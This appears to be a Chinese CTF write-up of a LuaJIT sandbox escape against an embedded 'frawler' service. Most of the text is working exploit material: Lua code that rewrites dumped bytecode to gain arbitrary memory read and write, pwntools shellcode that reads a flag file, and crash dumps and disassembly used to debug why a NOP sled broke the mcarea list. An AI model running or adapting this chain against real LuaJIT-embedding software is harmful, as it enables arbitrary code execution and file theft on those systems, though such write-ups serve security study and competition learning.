local function s_char(i, _) end
local function s_sub(s, i, j) end
-- The following function does nothing, but calling it will
-- restore the interpreter state which was messed up following
-- a call to one of the previous three functions. Because this
-- function contains a cdata literal, loading it from bytecode
-- will result in the ffi library being initialised (but not
-- registered in the global namespace).
local function resync() return 0LL end
-- Helper function to reinterpret the first four bytes of a
-- string as a uint32_t, and return said value as a number.
local function s_uint32(s)
local result = 0
for i = 4, 1, -1 do
result = result * 256 + s_byte(s_sub(s, i, i))
resync()
end
return result
end
-- The following line obtains the address of the GCfuncL
-- object corresponding to "inner". As written, it just fetches
-- the 0th upvalue, and does some arithmetic. After some
-- bytecode manipulation, the 0th upvalue ends up pointing
-- somewhere very interesting: the frame info TValue containing
-- func|FRAME_VARG|delta. Because delta is small, this TValue
-- will end up being a denormalised number, from which we can
-- easily pull out 32 bits to give us the "func" part.
local iaddr = (inner * 2^1022 * 2^52) % 2^32
-- The following five lines read the "pc" field of the GCfuncL
-- we just obtained. This is done by creating a GCstr object
-- overlaying the GCfuncL, and then pulling some bytes out of
-- the string. Bytecode manipulation results in a nice KPRI
-- instruction which preserves the low 32 bits of the istr
-- TValue while changing the high 32 bits to specify that the
-- low 32 bits contain a GCstr*.
local istr = (iaddr - 4) + 2^52
istr = -32764 -- Turned into KPRI(str)
local pc = s_sub(istr, 5, 8)
istr = resync()
pc = s_uint32(pc)
-- The following three lines result in the local variable
-- called "memory" being `cdata<const char *>: NULL`. We can
-- subsequently use this variable to read arbitrary memory
-- (one byte at a time). Note again the KPRI trick to change
-- the high 32 bits of a TValue. In this case, the low 32 bits
-- end up pointing to the bytecode instructions at the top of
-- this function wrapped in `if false`.
local memory = (pc + 8) + 2^52
memory = -32758 -- Turned into KPRI(cdata)
memory = memory + 0
-- Helper function to read a uint32_t from any memory location.
local function m_uint32(offs)
local result = 0
for i = offs + 3, offs, -1 do
result = result * 256 + (memory[i] % 256)
end
return result
end
local function m_uint64(offs)
local result = 0
for i = offs + 7, offs, -1 do
result = result * 256 + (memory[i] % 256)
end
return result
end
-- Helper function to extract the low 32 bits of a TValue.
-- In particular, for TValues containing a GCobj*, this gives
-- the GCobj* as a uint32_t. Note that the two memory reads
-- here are GCfuncL::uvptr[1] and GCupval::v.
local vaddr = m_uint32(m_uint32(iaddr + 24) + 16)
local function low32(tv)
v = tv
res = m_uint32(vaddr)
return res
end
-- Helper function which is the inverse of s_uint32: given a
-- 32 bit number, returns a four byte string.
local function ub4(n)
local result = ""
for i = 0, 3 do
local b = n % 256
n = (n - b) / 256
result = result .. s_char(b)
resync()
end
return result
end
local function ub8(n)
local result = ""
for i = 0, 7 do
local b = n % 256
n = (n - b) / 256
result = result .. s_char(b)
resync()
end
return result
end
local function hexdump_print(addr, len)
local result = ''
for i = 0, len - 1 do
if i % 16 == 0 and i ~= 0 then
result = result .. '\n'
end
result = result .. string.format('%02x', memory[addr + i] % 0x100) .. ' '
end
print(result)
end
local function hexdump_tv(tv)
v = tv
hexdump_print(vaddr, 8)
end
local text_base = m_uint64(low32("") - 4 + 0x80) - 0x29090
--print('got text_base @ 0x' .. string.format('%x', text_base))
local strlen_got = text_base + 0x74058
local strlen_addr = m_uint64(strlen_got)
--print('strlen got @ 0x' .. string.format('%x', strlen_addr))
local ld_so_base = strlen_addr - 0x59e80
--print('ld_so base @ 0x' .. string.format('%x', ld_so_base))
local nop4k = "\144"
for i = 1, 12 do nop4k = nop4k .. nop4k end
local ashellcode = nop4k .. shellcode .. nop4k
local asaddr = low32(ashellcode) + 16
asaddr = asaddr + 2^12 - (asaddr % 2^12)
--print(asaddr)
-- arbitrary (32 bits range) write
-- form file structure according to function requirements
local rdi = 0x10000378 -- State <-- fixed?!
--local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(rdi)
-- .."\0\0\0\0\0\0\0\0\255\255\0\0\255\255\255\255"
-- move this before arbitrary write
-- seems this will interfere, because the State has been
-- manipulated after arbitrary write
local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
ub8(ld_so_base + 0x32e50)
fshellcode = -32760 -- Turned into KPRI(func)
local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(rdi)
.."\0\0\0\0\0\0\0\0\0\0\0\0\255\255\0\0\255\255\255\255"
local mctab = low32(mctab_s) + 16 + 2^52
mctab = -32757 -- Turned into KPRI(table)
mctab[5] = 0x1 / 2^52 / 2^1022
mctab[7] = 0 / 2^52 / 2^1022 -- qword ptr [$rdi + 40] > qword ptr [$rdi + 56]
mctab[9] = (text_base + 0x56ca0) / 2^52 / 2^1022
--mctab[9] = 0x2200 / 2^52 / 2^1022
mctab[306] = 0x10008000 / 2^52 / 2^1022
mctab[309] = 0x10000 / 2^52 / 2^1022
mctab[10] = asaddr / 2^52 / 2^1022
--mctab[10] = 0xdeadbeef / 2^52 / 2^1022
-- The following seven lines result in the memory protection of
-- the page at asaddr changing from read/write to read/execute.
-- This is done by setting the jit_State::mcarea and szmcarea
-- fields to specify the page in question, setting the mctop and
-- mcbot fields to an empty subrange of said page, and then
-- triggering some JIT compilation. As a somewhat unfortunate
-- side-effect, the page at asaddr is added to the jit_State's
-- linked-list of mcode areas (the shellcode unlinks it).
--[[
local mcarea = mctab[1]
val = asaddr / 2^52 / 2^1022
mctab[4] = 2^12 / 2^52 / 2^1022
local wtf = low32("") + 2748
mctab[3] = val
mctab[2] = val
mctab[1] = val
mctab[0] = val
hexdump_print(wtf, 32 + 32)
local i = 0
while i < 0x1000 do i = i + 1 end
print(i)
--]]
-- The following three lines construct a GCfuncC object
-- whose lua_CFunction field is set to asaddr. A fixed
-- offset from the address of the empty string gives us
-- the global_State::bc_cfunc_int field.
--local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
-- ub4(asaddr) .."\0\0\0\0"
fshellcode()
end
inner()
end
-- Some helpers for manipulating bytecode:
local ffi = require "ffi"
local bit = require "bit"
local BC = {KSHORT = 41, KPRI = 43}
-- Dump the as-written evil function to bytecode:
local estr = string.dump(evil, true)
local buf = ffi.new("uint8_t[?]", #estr+1, estr)
local p = buf + 5
-- Helper function to read a ULEB128 from p:
local function read_uleb128()
local v = p[0]; p = p + 1
if v >= 128 then
local sh = 7; v = v - 128
repeat
local r = p[0]
v = v + bit.lshift(bit.band(r, 127), sh)
sh = sh + 7
p = p + 1
until r < 128
end
return v
end
-- The dumped bytecode contains several prototypes: one for "evil"
-- itself, and one for every (transitive) inner function. We step
-- through each prototype in turn, and tweak some of them.
while true do
local len = read_uleb128()
if len == 0 then break end
local pend = p + len
local flags, numparams, framesize, sizeuv = p[0], p[1], p[2], p[3]
p = p + 4
read_uleb128()
read_uleb128()
local sizebc = read_uleb128()
local bc = p
local uv = ffi.cast("uint16_t*", p + sizebc * 4)
if numparams == 0 and sizeuv == 3 then
-- This branch picks out the "inner" function.
-- The first thing we do is change what the 0th upvalue
-- points at:
uv[0] = uv[0] + 2
-- Then we go through and change everything which was written
-- as "local_variable = -327XX" in the source to instead be
-- a KPRI instruction:
for i = 0, sizebc do
if bc[0] == BC.KSHORT then
local rd = ffi.cast("int16_t*", bc)[1]
if rd <= -32749 then
bc[0] = BC.KPRI
bc[3] = 0
if rd == -32749 then
-- the `cdata = -32749` line in source also tweaks
-- the two instructions after it:
bc[4] = 0
bc[8] = 0
end
end
end
bc = bc + 4
end
elseif sizebc == 1 then
-- As written, the s_byte, s_char, and s_sub functions each
-- contain a single "return" instruction. We replace said
-- instruction with the corresponding fast-function instruction.
bc[0] = 147 + numparams
bc[2] = bit.band(1 + numparams, 6)
end
p = pend
end
function string.fromhex(str)
return (str:gsub('..', function (cc)
return string.char(tonumber(cc, 16))
end))
end
function string.tohex(str)
return (str:gsub('.', function (c)
return string.format('%02X', string.byte(c))
end))
end
res = string.tohex(ffi.string(buf, #estr))
local f = io.open("../shellcode.hex", "wb")
f:write(ffi.string(res, #res))
f:close()
print(res)
a = loadstring(string.fromhex(res))
print(a())
-- Finally, save the manipulated bytecode as evil.lua:
gen_shellcode.py （填入最后执行的shellcode）
from pwn import *
context(arch='amd64', os='linux')
shellcode = r'''
sub rsi, 0x2710
mov rax, rsi
mov rbp, rax
add rax, 0x73370
mov rdi, %s
push rdi
mov rdi, %s
push rdi
mov rdi, rsp
push 0
push 114
mov rsi, rsp
call rax
mov rcx, rax
mov rdi, rsp
mov rsi, 100
mov rdx, 100
mov rax, rbp
add rax, 0x733c0
call rax
mov rdi, 1
mov rsi, rsp
mov rdx, 100
mov rax, rbp
add rax, 0x73510
call rax
push 0
ret
'''
print(shellcode)
shellcode = shellcode % (u64('a/flag'.ljust(8, '\x00')), u64('/pkg/dat'))
with open('create.tpl.lua', 'r') as f:
content = f.read()
shellcode_hex = repr(asm(shellcode))
content = content.replace('{SHELLCODE_TPL}', shellcode_hex)
with open('create.lua', 'w') as f:
f.write(content)
script.lua （实际传入response的lua代码，留出字节码hex部分)
function string.fromhex(str)
return (str:gsub('..', function (cc)
return string.char(tonumber(cc, 16))
end))
end
function string.tohex(str)
return (str:gsub('.', function (c)
return string.format('%02X', string.byte(c))
end))
end
shellcode = '{}'
function fdb0cdf28c53764e()
x = loadstring(string.fromhex(shellcode))
return tostring(x())
end
print(fdb0cdf28c53764e())
request.py和forward.py在上一篇中给出了。
最后的利用：
python2 gen_shellcode.py
python2 request.py
[DEBUG] Received 0x1c0 bytes:
'<head>\n'
'<title>Error response</title>\n'
'</head>\n'
'<body>\n'
'<h1>Error response</h1>\n'
'<p>Error code 400.\n'
"<p>Message: Bad request syntax ('rwctf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}\\x04\\x00\\x10\\x00\\x00\\x00\\x00\\xb8\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\xcf\\x90J\\xa8.\\x00\\x00x\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x87A\\\\]\\xd3\\x1a\\x00\\x00H\\x94\\x00\\x10\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00').\n"
'<p>Error code explanation: 400 = Bad request syntax or unsupported method.\n'
## 一个字节引发的血案
但是到这个时候我就很不爽了。
为啥我好不容易才调好的luajit逃逸用不了啊，这没道理啊，那我们来分析一下为啥用不了。
第一步，先把代码跑起来，看看dump日志。
[40698.170] 01045.01203> devmgr: crash_analyzer_listener: analyzing exception type 0x108
[40698.171] 01105.01119> <== fatal exception: process /pkg/bin/frawler[162600] thread initial-thread[162612]
[40698.171] 01105.01119> <== fatal page fault, PC at 0x7a8af11e4b20
[40698.171] 01105.01119> CS: 0 RIP: 0x7a8af11e4b20 EFL: 0x246 CR2: 0x8000
[40698.171] 01105.01119> RAX: 0x8000 RBX: 0 RCX: 0 RDX: 0
[40698.171] 01105.01119> RSI: 0 RDI: 0x5746f370eb58 RBP: 0x799649e95ca0 RSP: 0x799649e95c78
[40698.171] 01105.01119> R8: 0 R9: 0 R10: 0 R11: 0x206
[40698.171] 01105.01119> R12: 0x5746f370eb58 R13: 0x100003b8 R14: 0x5746f370eb58 R15: 0x1
[40698.171] 01105.01119> errc: 0x6
[40698.171] 01105.01119> bottom of user stack:
[40698.171] 01105.01119> 0x0000799649e95c78: f11e4acc 00007a8a 10000558 00000000 |.J...z..X.......|
[40698.171] 01105.01119> 0x0000799649e95c88: f370eed0 00005746 00008008 00000000 |..p.FW..........|
[40698.171] 01105.01119> 0x0000799649e95c98: 10000558 00000000 49e95cf0 00007996 |X........\.I.y..|
[40698.171] 01105.01119> 0x0000799649e95ca8: f11c7474 00007a8a a1ad8e1c 9b72fb15 |tt...z........r.|
[40698.171] 01105.01119> 0x0000799649e95cb8: f370eec8 00005746 10000558 00000000 |..p.FW..X.......|
[40698.172] 01105.01119> 0x0000799649e95cc8: 10000558 00000000 f1190868 00007a8a |X.......h....z..|
[40698.172] 01105.01119> 0x0000799649e95cd8: 100003b8 00000000 100003b8 00000000 |................|
[40698.172] 01105.01119> 0x0000799649e95ce8: 10000378 00000000 49e95d30 00007996 |x.......0].I.y..|
[40698.172] 01105.01119> 0x0000799649e95cf8: f11c5e0d 00007a8a 1000d0b8 00000000 |.^...z..........|
[40698.172] 01105.01119> 0x0000799649e95d08: 10000558 00000000 00000018 00000000 |X...............|
[40698.172] 01105.01119> 0x0000799649e95d18: 100003b8 00000000 10000fa8 00000000 |................|
[40698.172] 01105.01119> 0x0000799649e95d28: 49e95e00 00007996 10000378 00000000 |.^.I.y..x.......|
[40698.172] 01105.01119> 0x0000799649e95d38: f11ff4f6 00007a8a 10000fa8 00000000 |.....z..........|
[40698.172] 01105.01119> 0x0000799649e95d48: 49e95e00 00007996 fffffee0 00000000 |.^.I.y..........|
[40698.172] 01105.01119> 0x0000799649e95d58: 10000378 10000378 49e95e00 00007996 |x...x....^.I.y..|
[40698.172] 01105.01119> 0x0000799649e95d68: 10000378 00000000 1000d278 00000000 |x.......x.......|
[40698.172] 01105.01119> arch: x86_64
[40698.184] 01105.01119> dso: id=333103e7c266dfce base=0x7a8af118e000 name=app:/pkg/bin/frawler
[40698.184] 01105.01119> dso: id=8f51b7868dd0d5b9aefede5739518f97f2a580e0 base=0x58f25e8e0000 name=libc.so
[40698.184] 01105.01119> dso: id=89d4eb99573947ac792dd4a5e9e498bd44b4eefe base=0x554a3ca5d000 name=<vDSO>
[40698.184] 01105.01119> dso: id=fa0cdaa5591d31e3 base=0x2f6fae109000 name=libc++.so.2
[40698.184] 01105.01119> dso: id=86f83b6141c863ad base=0x2d3787750000 name=libunwind.so.1
[40698.184] 01105.01119> dso: id=4b87e913774eb02cb107ae0f1385ddfcb877ba2e base=0xe98beb70000 name=libfdio.so
[40698.184] 01105.01119> dso: id=ecfc9b0e3f0ca03b base=0xaef30a38000 name=libclang_rt.scudo.so
[40698.184] 01105.01119> dso: id=1b59f762cf98d972 base=0x85aca3d3000 name=libc++abi.so.1
[40698.184] 01105.01119> {{{reset}}}
[40698.185] 01105.01119> {{{module:0x21fb5444:<VMO#162635=libc++abi.so.1>:elf:1b59f762cf98d972}}}
[40698.185] 01105.01119> {{{mmap:0x85aca3d3000:0x16000:load:0x21fb5444:r:0}}}
[40698.185] 01105.01119> {{{mmap:0x85aca3e9000:0x24000:load:0x21fb5444:rx:0x16000}}}
[40698.185] 01105.01119> {{{mmap:0x85aca40d000:0x5000:load:0x21fb5444:rw:0x3a000}}}
[40698.185] 01105.01119> {{{module:0x21fb5445:<VMO#162620=libclang_rt.scudo.s:elf:ecfc9b0e3f0ca03b}}}
[40698.185] 01105.01119> {{{mmap:0xaef30a38000:0x8000:load:0x21fb5445:r:0}}}
[40698.185] 01105.01119> {{{mmap:0xaef30a40000:0xa000:load:0x21fb5445:rx:0x8000}}}
[40698.192] 01105.01119> {{{mmap:0xaef30a4a000:0x4000:load:0x21fb5445:rw:0x12000}}}
[40698.192] 01105.01119> {{{module:0x21fb5446:<VMO#162625=libfdio.so>:elf:4b87e913774eb02cb107ae0f1385ddfcb877ba2e}}}
[40698.192] 01105.01119> {{{mmap:0xe98beb70000:0x22000:load:0x21fb5446:rx:0}}}
[40698.192] 01105.01119> {{{mmap:0xe98beb93000:0x4000:load:0x21fb5446:rw:0x23000}}}
[40698.192] 01105.01119> {{{module:0x21fb5447:<VMO#162640=libunwind.so.1>:elf:86f83b6141c863ad}}}
[40698.192] 01105.01119> {{{mmap:0x2d3787750000:0x6000:load:0x21fb5447:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x2d3787756000:0x8000:load:0x21fb5447:rx:0x6000}}}
[40698.192] 01105.01119> {{{mmap:0x2d378775e000:0x3000:load:0x21fb5447:rw:0xe000}}}
[40698.192] 01105.01119> {{{module:0x21fb5448:<VMO#162630=libc++.so.2>:elf:fa0cdaa5591d31e3}}}
[40698.192] 01105.01119> {{{mmap:0x2f6fae109000:0x52000:load:0x21fb5448:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x2f6fae15b000:0x77000:load:0x21fb5448:rx:0x52000}}}
[40698.192] 01105.01119> {{{mmap:0x2f6fae1d2000:0x9000:load:0x21fb5448:rw:0xc9000}}}
[40698.192] 01105.01119> {{{module:0x21fb5449:<VMO#1033=vdso/full>:elf:89d4eb99573947ac792dd4a5e9e498bd44b4eefe}}}
[40698.192] 01105.01119> {{{mmap:0x554a3ca5d000:0x7000:load:0x21fb5449:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x554a3ca64000:0x1000:load:0x21fb5449:rx:0x7000}}}
[40698.192] 01105.01119> {{{module:0x21fb544a:<VMO#162604=ld.so.1>:elf:8f51b7868dd0d5b9aefede5739518f97f2a580e0}}}
[40698.192] 01105.01119> {{{mmap:0x58f25e8e0000:0xcb000:load:0x21fb544a:rx:0}}}
[40698.192] 01105.01119> {{{mmap:0x58f25e9ac000:0x6000:load:0x21fb544a:rw:0xcc000}}}
[40698.192] 01105.01119> {{{module:0x21fb544b:<VMO#162591=/pkg/bin/frawler>:elf:333103e7c266dfce}}}
[40698.192] 01105.01119> {{{mmap:0x7a8af118e000:0x1d000:load:0x21fb544b:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x7a8af11ab000:0x57000:load:0x21fb544b:rx:0x1d000}}}
[40698.192] 01105.01119> {{{mmap:0x7a8af1202000:0x4000:load:0x21fb544b:rw:0x74000}}}
[40698.196] 01105.01119> bt#01: pc 0x7a8af11e4b20 sp 0x799649e95c78 (app:/pkg/bin/frawler,0x56b20)
[40698.196] 01105.01119> bt#02: pc 0x7a8af11e4acc sp 0x799649e95c80 (app:/pkg/bin/frawler,0x56acc)
[40698.197] 01105.01119> bt#03: pc 0x7a8af11c7474 sp 0x799649e95cb0 (app:/pkg/bin/frawler,0x39474)
[40698.198] 01105.01119> bt#04: pc 0x7a8af11c5e0d sp 0x799649e95d00 (app:/pkg/bin/frawler,0x37e0d)
[40698.198] 01105.01119> bt#05: pc 0x7a8af11ff4f6 sp 0x799649e95d40 (app:/pkg/bin/frawler,0x714f6)
[40698.205] 01105.01119> bt#06: pc 0x7a8af11b0547 sp 0x799649e95d90 (app:/pkg/bin/frawler,0x22547)
[40698.209] 01105.01119> bt#07: pc 0x7a8af11b03a5 sp 0x799649e95db0 (app:/pkg/bin/frawler,0x223a5)
[40698.209] 01105.01119> bt#08: pc 0x7a8af1200af1 sp 0x799649e95e00 (app:/pkg/bin/frawler,0x72af1)
[40698.210] 01105.01119> bt#09: pc 0x7a8af11b3218 sp 0x799649e95e50 (app:/pkg/bin/frawler,0x25218)
[40698.210] 01105.01119> bt#10: pc 0x7a8af11f9f49 sp 0x799649e95e90 (app:/pkg/bin/frawler,0x6bf49)
[40698.211] 01105.01119> bt#11: pc 0x7a8af11fa0c6 sp 0x799649e95ec0 (app:/pkg/bin/frawler,0x6c0c6)
[40698.211] 01105.01119> bt#12: pc 0x7a8af11fa270 sp 0x799649e95f10 (app:/pkg/bin/frawler,0x6c270)
[40698.211] 01105.01119> bt#13: pc 0x58f25e8f9c48 sp 0x799649e95f60 (libc.so,0x19c48)
[40698.215] 01105.01119> bt#14: pc 0 sp 0x799649e96000
[40698.215] 01105.01119> bt#15: end
[40698.218] 01105.01119> {{{bt:1:0x7a8af11e4b20}}}
[40698.222] 01105.01119> {{{bt:2:0x7a8af11e4acc}}}
[40698.222] 01105.01119> {{{bt:3:0x7a8af11c7474}}}
[40698.223] 01105.01119> {{{bt:4:0x7a8af11c5e0d}}}
[40698.223] 01105.01119> {{{bt:5:0x7a8af11ff4f6}}}
[40698.224] 01105.01119> {{{bt:6:0x7a8af11b0547}}}
[40698.224] 01105.01119> {{{bt:7:0x7a8af11b03a5}}}
[40698.224] 01105.01119> {{{bt:8:0x7a8af1200af1}}}
[40698.226] 01105.01119> {{{bt:9:0x7a8af11b3218}}}
[40698.226] 01105.01119> {{{bt:10:0x7a8af11f9f49}}}
[40698.227] 01105.01119> {{{bt:11:0x7a8af11fa0c6}}}
[40698.227] 01105.01119> {{{bt:12:0x7a8af11fa270}}}
[40698.228] 01105.01119> {{{bt:13:0x58f25e8f9c48}}}
[40698.229] 01105.01119> {{{bt:14:0}}}
根据之前我们调exp的时候，知道aslr的情况来看，非常明显我们没能跳到shellcode执行，死在中间了。
幸运的是dump里给出了bt，所以来跟一下，看看是死在哪儿了。
在这种时候，如果你之前完整跟了上一篇里的luajit代码，并且自己看了一遍，日子就好过多了，毕竟流程上差异不大。
首先是`0x56b20`，直接原因。
LOAD:0000000000056B1B mov ecx, esi
LOAD:0000000000056B1D shl ecx, 5
LOAD:0000000000056B20 mov byte ptr [rax], 6Ah ; 'j'
LOAD:0000000000056B23 mov [rax+1], cl
LOAD:0000000000056B26 mov r9d, esi
LOAD:0000000000056B29 and r9d, 7
rax目前的值为0x8000，显然放不进去，但是仔细一看这个结构：
这不就是上一篇里的`asm_exitstub_gen`么？但是看起来这个死的位置有点奇怪啊，应该是死在了赋值给`mxp`的时候了。
回顾一下代码：
/* Generate an exit stub group at the bottom of the reserved MCode memory. */
static MCode *asm_exitstub_gen(ASMState *as, ExitNo group)
{
ExitNo i, groupofs = (group*EXITSTUBS_PER_GROUP) & 0xff;
MCode *mxp = as->mcbot;
MCode *mxpstart = mxp;
if (mxp + (2+2)*EXITSTUBS_PER_GROUP+8+5 >= as->mctop)
asm_mclimit(as);
/* Push low byte of exitno for each exit stub. */
*mxp++ = XI_PUSHi8; *mxp++ = (MCode)groupofs; // 应该是这里死了
for (i = 1; i < EXITSTUBS_PER_GROUP; i++) {
*mxp++ = XI_JMPs; *mxp++ = (MCode)((2+2)*(EXITSTUBS_PER_GROUP - i) - 2);
*mxp++ = XI_PUSHi8; *mxp++ = (MCode)(groupofs + i);
}
/* Push the high byte of the exitno for each exit stub group. */
*mxp++ = XI_PUSHi8; *mxp++ = (MCode)((group*EXITSTUBS_PER_GROUP)>>8);
/* Store DISPATCH at original stack slot 0. Account for the two push ops. */
*mxp++ = XI_MOVmi;
*mxp++ = MODRM(XM_OFS8, 0, RID_ESP);
*mxp++ = MODRM(XM_SCALE1, RID_ESP, RID_ESP);
*mxp++ = 2*sizeof(void *);
*(int32_t *)mxp = ptr2addr(J2GG(as->J)->dispatch); mxp += 4;
/* Jump to exit handler which fills in the ExitState. */
*mxp++ = XI_JMP; mxp += 4;
*((int32_t *)(mxp-4)) = jmprel(mxp, (MCode *)(void *)lj_vm_exit_handler);
/* Commit the code for this group (even if assembly fails later on). */
lj_mcode_commitbot(as->J, mxp);
as->mcbot = mxp;
as->mclim = as->mcbot + MCLIM_REDZONE;
return mxpstart;
}
再对比一下寄存器值，这里mxp其实是`mcbot`，但是这里的值是0x8000，0x8000按理说是我设置的`mctab[3]`，也就是`szmcarea`的值吧？
回顾一下结构：
mcprot = 0x0,
mcarea = 0x1234 <error: Cannot access memory at address 0x1234>,
mctop = 0x4321 <error: Cannot access memory at address 0x4321>,
mcbot = 0xdead <error: Cannot access memory at address 0xdead>,
szmcarea = 0xbeef,
szallmcarea = 0x1000,
那么这里岂不是，错了个位？回想一下最开始的exp，好像这里就是错了个位啊.
为了保证我们的判断没有错，我们再魔改一下看看。
local mcarea = mctab[1]
mctab[0] = 0x1234/ 2^52 / 2^1022
mctab[1] = 0x4321/ 2^52 / 2^1022
mctab[2] = 0xdead / 2^52 / 2^1022
mctab[3] = asaddr / 2^52 / 2^1022
mctab[4] = 2^12 / 2^52 / 2^1022
--while mctab[0] == 0 do end
local i = 1
while i < 0x1000000 do
i = i + 1
--print(i)
end
崩溃位置在`0x2bd70`，此时`rdi`为`0x4321。
和源码对比之后是可以确认这个函数的：
__int64 __fastcall lj_mcode_free(__int64 a1)
{
__int64 result; // rax
_QWORD *v2; // rdi
_QWORD *v3; // rbx
result = a1;
v2 = *(_QWORD **)(a1 + 2448);
*(_QWORD *)(result + 2448) = 0LL;
*(_QWORD *)(result + 2480) = 0LL;
if ( v2 )
{
do
{
v3 = (_QWORD *)*v2;
result = mcode_free(v2, v2[1]);
v2 = v3;
}
while ( v3 );
}
return result;
}
崩溃位置：
LOAD:000000000002BD70
LOAD:000000000002BD70 loc_2BD70:
LOAD:000000000002BD70 mov rbx, [rdi] <-- 崩溃，rdi = 0x4321
LOAD:000000000002BD73 mov rsi, [rdi+8]
LOAD:000000000002BD77 call mcode_free
LOAD:000000000002BD7C mov rdi, rbx
LOAD:000000000002BD7F test rbx, rbx
LOAD:000000000002BD82 jnz short loc_2BD70
对比原函数：
/* Free all MCode areas. */
void lj_mcode_free(jit_State *J)
{
MCode *mc = J->mcarea;
J->mcarea = NULL;
J->szallmcarea = 0;
while (mc) {
MCode *next = ((MCLink *)mc)->next;
mcode_free(J, mc, ((MCLink *)mc)->size);
mc = next;
}
}
static void mcode_free(jit_State *J, void *p, size_t sz)
{
UNUSED(J); UNUSED(sz);
VirtualFree(p, 0, MEM_RELEASE);
}
`J`参数没有用到，似乎被优化掉了，所以只传入了两个参数。更漂亮的是在这里直接得到了mcarea在`jit_State`中的偏移，这样应该就可以去对比一下了。
gef➤ p (uint64_t)(&((GG_State*)0x40000378).J.mcarea)-(uint64_t)(&((GG_State*)0x40000378).J)
$7 = 0x988
>>> 0x988
2440
而函数里的为2448，看来确实是错位了，虽然不知道是什么原因，这里也解释了为什么原exp无法正常使用了。
这样是不是还原到原exp就可以使用了呢？
运行结果：
[49833.577] 01105.01119> <== general fault, PC at 0x50c8d6669d70
[49833.577] 01105.01119> CS: 0 RIP: 0x50c8d6669d70 EFL: 0x286 CR2: 0
[49833.577] 01105.01119> RAX: 0xffffffff RBX: 0x9090909090909090 RCX: 0x7e0029445a42 RDX: 0
[49833.577] 01105.01119> RSI: 0 RDI: 0x9090909090909090 RBP: 0x9b703aacc60 RSP: 0x9b703aacc50
[49833.577] 01105.01119> R8: 0 R9: 0 R10: 0 R11: 0x206
[49833.577] 01105.01119> R12: 0x10000558 R13: 0x100003b8 R14:
[49833.593] 01105.01119> bt#01: pc 0x50c8d6669d70 sp 0x9b703aacc50 (app:/pkg/bin/frawler,0x2bd70)
[49833.593] 01105.01119> bt#02: pc 0x50c8d66600d4 sp 0x9b703aacc70 (app:/pkg/bin/frawler,0x220d4)
[49833.594] 01105.01119> bt#03: pc 0x50c8d6677b81 sp 0x9b703aaccb0 (app:/pkg/bin/frawler,0x39b81)
真正麻烦的来了，这里访问了无效内存，rdi的值变为了0x909090，明显是我们填入的nop的值，可是为什么nop的值变成了这里的rdi，也就是`mcarea`？这个时候没有调试器就显得非常难受了，往回追溯一下，上一层调用到`lj_mcode_free`的位置：
LOAD:00000000000220A1
LOAD:00000000000220A1 loc_220A1:
LOAD:00000000000220A1 mov word ptr [r13+1F0h], 0
LOAD:00000000000220AB mov dword ptr [r13+2E0h], 0
LOAD:00000000000220B6 lea rdi, [r13+870h] ; s
LOAD:00000000000220BD xor r14d, r14d
LOAD:00000000000220C0 mov edx, 200h ; n
LOAD:00000000000220C5 xor esi, esi ; c
LOAD:00000000000220C7 call _memset
LOAD:00000000000220CC mov rdi, r12 ; <-- r12是没有用到的，但是是作为了`lj_mcode_free` 的参数
LOAD:00000000000220CF call lj_mcode_free ; <-- 调用到了这里崩溃
LOAD:00000000000220D4 mov rdi, r12
LOAD:00000000000220D7 call sub_2BD90
再看寄存器值，`r12`为`0x10000558`，也就是`jit_State`的地址，但是为什么在传入到`mcode_free`的时候，`mcarea`的值不对了呢？我们不是已经设置好`mcarea`了吗，怎么会变成了nop值？
需要调试方法了。
怎么办？还好我们有任意读写，那么我们可以在触发jit的奇怪逻辑之前，试试看任意读dump出来想要的内容。
local mcarea = mctab[1]
mctab[0] = 0
mctab[1] = asaddr / 2^52 / 2^1022
mctab[2] = mctab[1]
mctab[3] = mctab[1]
mctab[4] = 2^12 / 2^52 / 2^1022
hexdump_print(0x10000558 + 2440, 0x30) -- 注意这里查看量太大会触发jit，所以不能太大
while mctab[0] == 0 do end
'00 00 00 00 00 00 00 00 00 50 01 10 00 00 00 00 \n'
'00 50 01 10 00 00 00 00 00 50 01 10 00 00 00 00 \n'
'00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \n'
与我们期望的一致，那么确认了在进入的时候是没有问题的，只能是在`lj_mcode_free`的循环中出了问题，
LOAD:000000000002BD70
LOAD:000000000002BD70 loc_2BD70:
LOAD:000000000002BD70 mov rbx, [rdi]
LOAD:000000000002BD73 mov rsi, [rdi+8]
LOAD:000000000002BD77 call mcode_free
LOAD:000000000002BD7C mov rdi, rbx ; <-- 这里改动了rdi
LOAD:000000000002BD7F test rbx, rbx
LOAD:000000000002BD82 jnz short loc_2BD70
对比原函数，这里是由于在找到链表下一个的时候出了问题，看起来链表下一个的位置位于`+0`offset的位置，因为是直接把rbx取出来的。那么也就是，将`0x10015000`作为了链表下一个位置，那看看这个地址的内容呢。
'90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'
'90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'
'90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 \n'
果不其然，这里就是我们填充的内容！那么问题的来源就清楚了，其实本质上讲由于我们的跳转是精准的，并不需要nop来slip，那么直接把nop4k的填充内容改为`00`就解决了，
这么一个小小的问题，导致了这个题卡了我好久。。
另外一个需要注意的小问题是shellcode的问题，寄存器状态和上一种方法已经不同了，我们得重新去找到text段基地址等，不过已经有shellcode执行了，这些都是很小的事情了吧。
### exploit
orig_exp.tpl.lua
-- The following function serves as the template for evil.lua.
-- The general outline is to compile this function as-written, dump
-- it to bytecode, manipulate the bytecode a bit, and then save the
-- result as evil.lua.
local evil = function(v)
-- This is the x86_64 native code which we'll execute. It
-- is a very benign payload which just prints "Hello World"
-- and then fixes up some broken state.
local shellcode =
{SHELLCODE_TPL}
-- The dirty work is done by the following "inner" function.
-- This inner function exists because we require a vararg call
-- frame on the Lua stack, and for the function associated with
